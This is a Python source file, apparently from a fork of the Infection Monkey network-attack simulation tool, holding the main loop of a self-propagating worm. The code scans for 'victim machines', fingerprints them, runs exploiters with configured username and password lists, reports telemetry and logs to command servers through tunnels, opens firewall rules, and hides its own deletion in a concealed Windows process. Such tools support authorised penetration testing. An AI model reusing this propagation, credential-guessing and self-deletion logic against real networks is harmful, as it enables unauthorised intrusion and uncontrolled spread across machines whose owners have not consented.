forked from p15670423/monkey
260 lines
11 KiB
Python
260 lines
11 KiB
Python
import argparse
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import logging
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import os
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import subprocess
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import sys
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import time
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import tunnel
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import utils
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from config import WormConfiguration
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from control import ControlClient
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from model import DELAY_DELETE_CMD
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from network.firewall import app as firewall
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from network.network_scanner import NetworkScanner
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from system_info import SystemInfoCollector
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from system_singleton import SystemSingleton
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__author__ = 'itamar'
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LOG = logging.getLogger(__name__)
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class ChaosMonkey(object):
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def __init__(self, args):
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self._keep_running = False
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self._exploited_machines = set()
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self._fail_exploitation_machines = set()
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self._singleton = SystemSingleton()
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self._parent = None
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self._default_tunnel = None
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self._args = args
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self._network = None
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self._dropper_path = None
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self._exploiters = None
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self._fingerprint = None
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self._default_server = None
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self._depth = 0
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def initialize(self):
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LOG.info("Monkey is initializing...")
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if not self._singleton.try_lock():
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raise Exception("Another instance of the monkey is already running")
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arg_parser = argparse.ArgumentParser()
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arg_parser.add_argument('-p', '--parent')
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arg_parser.add_argument('-t', '--tunnel')
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arg_parser.add_argument('-s', '--server')
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arg_parser.add_argument('-d', '--depth')
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opts, self._args = arg_parser.parse_known_args(self._args)
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self._parent = opts.parent
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self._default_tunnel = opts.tunnel
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self._default_server = opts.server
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if opts.depth:
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WormConfiguration.depth = int(opts.depth)
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WormConfiguration._depth_from_commandline = True
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self._keep_running = True
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self._network = NetworkScanner()
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self._dropper_path = sys.argv[0]
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if self._default_server:
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if self._default_server not in WormConfiguration.command_servers:
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LOG.debug("Added default server: %s" % self._default_server)
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WormConfiguration.command_servers.insert(0, self._default_server)
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else:
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LOG.debug("Default server: %s is already in command servers list" % self._default_server)
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def start(self):
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LOG.info("Monkey is running...")
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if firewall.is_enabled():
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firewall.add_firewall_rule()
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ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel)
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ControlClient.load_control_config()
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if not WormConfiguration.alive:
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LOG.info("Marked not alive from configuration")
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return
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monkey_tunnel = ControlClient.create_control_tunnel()
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if monkey_tunnel:
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monkey_tunnel.start()
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ControlClient.send_telemetry("state", {'done': False})
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self._default_server = WormConfiguration.current_server
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LOG.debug("default server: %s" % self._default_server)
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ControlClient.send_telemetry("tunnel", {'proxy': ControlClient.proxies.get('https')})
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if WormConfiguration.collect_system_info:
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LOG.debug("Calling system info collection")
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system_info_collector = SystemInfoCollector()
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system_info = system_info_collector.get_info()
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ControlClient.send_telemetry("system_info_collection", system_info)
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if 0 == WormConfiguration.depth:
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LOG.debug("Reached max depth, shutting down")
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ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
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return
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else:
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LOG.debug("Running with depth: %d" % WormConfiguration.depth)
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for iteration_index in xrange(WormConfiguration.max_iterations):
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ControlClient.keepalive()
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ControlClient.load_control_config()
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LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
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LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
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self._network.initialize()
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self._exploiters = WormConfiguration.exploiter_classes
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self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes]
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if not self._keep_running or not WormConfiguration.alive:
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break
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machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
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max_find=WormConfiguration.victims_max_find,
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stop_callback=ControlClient.check_for_stop)
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is_empty = True
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for machine in machines:
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if ControlClient.check_for_stop():
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break
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is_empty = False
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for finger in self._fingerprint:
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LOG.info("Trying to get OS fingerprint from %r with module %s",
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machine, finger.__class__.__name__)
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finger.get_host_fingerprint(machine)
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ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
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'scanner': WormConfiguration.scanner_class.__name__})
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# skip machines that we've already exploited
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if machine in self._exploited_machines:
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LOG.debug("Skipping %r - already exploited",
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machine)
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continue
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elif machine in self._fail_exploitation_machines:
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if WormConfiguration.retry_failed_explotation:
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LOG.debug("%r - exploitation failed before, trying again", machine)
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else:
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LOG.debug("Skipping %r - exploitation failed before", machine)
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continue
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if monkey_tunnel:
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monkey_tunnel.set_tunnel_for_host(machine)
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if self._default_server:
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LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
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machine.set_default_server(self._default_server)
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successful_exploiter = None
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for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
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if not exploiter.is_os_supported():
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LOG.info("Skipping exploiter %s host:%r, os is not supported",
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exploiter.__class__.__name__, machine)
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continue
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LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
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result = False
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try:
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result = exploiter.exploit_host()
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if result:
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successful_exploiter = exploiter
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break
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else:
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LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
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except Exception as exc:
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LOG.exception("Exception while attacking %s using %s: %s",
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machine, exploiter.__class__.__name__, exc)
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finally:
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exploiter.send_exploit_telemetry(result)
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if successful_exploiter:
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self._exploited_machines.add(machine)
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LOG.info("Successfully propagated to %s using %s",
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machine, successful_exploiter.__class__.__name__)
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# check if max-exploitation limit is reached
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if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
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self._keep_running = False
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LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
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break
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else:
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self._fail_exploitation_machines.add(machine)
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if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
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time_to_sleep = WormConfiguration.timeout_between_iterations
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LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep)
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time.sleep(time_to_sleep)
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if self._keep_running and WormConfiguration.alive:
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LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
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elif not WormConfiguration.alive:
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LOG.info("Marked not alive from configuration")
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# if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
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# connect to the tunnel
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if len(self._exploited_machines) > 0:
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time_to_sleep = WormConfiguration.keep_tunnel_open_time
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LOG.info("Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep)
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time.sleep(time_to_sleep)
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if monkey_tunnel:
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monkey_tunnel.stop()
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monkey_tunnel.join()
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def cleanup(self):
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LOG.info("Monkey cleanup started")
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self._keep_running = False
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# Signal the server (before closing the tunnel)
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ControlClient.send_telemetry("state", {'done': True})
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# Close tunnel
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tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
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if tunnel_address:
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LOG.info("Quitting tunnel %s", tunnel_address)
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tunnel.quit_tunnel(tunnel_address)
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firewall.close()
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self.send_log()
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self._singleton.unlock()
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if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'):
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try:
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if "win32" == sys.platform:
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from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
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startupinfo = subprocess.STARTUPINFO()
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startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
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startupinfo.wShowWindow = SW_HIDE
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subprocess.Popen(DELAY_DELETE_CMD % {'file_path': sys.executable},
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stdin=None, stdout=None, stderr=None,
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close_fds=True, startupinfo=startupinfo)
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else:
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os.remove(sys.executable)
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except Exception as exc:
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LOG.error("Exception in self delete: %s", exc)
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LOG.info("Monkey is shutting down")
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def send_log(self):
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monkey_log_path = utils.get_monkey_log_path()
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if os.path.exists(monkey_log_path):
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with open(monkey_log_path, 'r') as f:
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log = f.read()
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else:
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log = ''
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ControlClient.send_log(log)
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